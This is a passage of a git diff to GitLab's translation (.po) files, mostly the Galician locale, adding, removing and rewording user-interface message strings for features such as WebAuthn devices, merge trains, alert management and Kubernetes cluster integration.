msgstr ""
+msgid "You can group test cases using labels. To learn about the future direction of this feature, visit %{linkStart}Quality Management direction page%{linkEnd}."
+msgstr ""
+
msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
@@ -28056,10 +29041,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28083,6 +29068,9 @@ msgstr ""
msgid "You don't have any U2F devices registered yet."
msgstr ""
+msgid "You don't have any WebAuthn devices registered yet."
+msgstr ""
+
msgid "You don't have any active chat names."
msgstr ""
@@ -28170,6 +29158,9 @@ msgstr ""
msgid "You must accept our Terms of Service and privacy policy in order to register an account"
msgstr ""
+msgid "You must be logged in to search across all of GitLab"
+msgstr ""
+
msgid "You must disassociate %{domain} from all clusters it is attached to before deletion."
msgstr ""
@@ -28209,7 +29200,7 @@ msgstr ""
msgid "You need to be logged in."
msgstr ""
-msgid "You need to register a two-factor authentication app before you can set up a U2F device."
+msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
msgid "You need to set terms to be enforced"
@@ -28272,6 +29263,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28347,7 +29341,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28389,10 +29383,13 @@ msgstr ""
msgid "Your U2F device did not send a valid JSON response."
msgstr ""
-msgid "Your U2F device needs to be set up. Plug it in (if not already) and click the button on the left."
+msgid "Your U2F device was registered!"
+msgstr ""
+
+msgid "Your WebAuthn device did not send a valid JSON response."
msgstr ""
-msgid "Your U2F device was registered!"
+msgid "Your WebAuthn device was registered!"
msgstr ""
msgid "Your access request to the %{source_type} has been withdrawn."
@@ -28416,6 +29413,9 @@ msgstr ""
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
+msgid "Your browser doesn't support WebAuthn. Please use a supported browser, e.g. Chrome (67+) or Firefox (60+)."
+msgstr ""
+
msgid "Your changes can be committed to %{branch_name} because a merge request is open."
msgstr ""
@@ -28452,6 +29452,12 @@ msgstr ""
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
+msgid "Your device is not compatible with GitLab. Please try another device"
+msgstr ""
+
+msgid "Your device needs to be set up. Plug it in (if needed) and click the button on the left."
+msgstr ""
+
msgid "Your device was successfully set up! Give it a name and register it with the GitLab server."
msgstr ""
@@ -28464,6 +29470,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28562,9 +29571,6 @@ msgstr[1] ""
msgid "access:"
msgstr ""
-msgid "activated"
-msgstr ""
-
msgid "added %{created_at_timeago}"
msgstr ""
@@ -28592,6 +29598,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28997,9 +30006,6 @@ msgstr ""
msgid "error"
msgstr ""
-msgid "error code:"
-msgstr ""
-
msgid "estimateCommand|%{slash_command} will update the estimated time with the latest command."
msgstr ""
@@ -29050,6 +30056,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -29095,9 +30106,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29291,9 +30299,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29381,9 +30395,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29769,15 +30780,9 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
-msgid "settings saved, but not activated"
-msgstr ""
-
msgid "severity|Critical"
msgstr ""
@@ -29910,6 +30915,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29931,6 +30939,9 @@ msgstr ""
msgid "user avatar"
msgstr ""
+msgid "user preferences"
+msgstr ""
+
msgid "username"
msgstr ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index 5d3eff1e2f2..3411a3e3908 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:38\n"
+"PO-Revision-Date: 2020-09-04 23:02\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] " mellorado en %d punto"
msgid " or "
msgstr " ou "
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
-msgstr " ou <identificación #issue>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
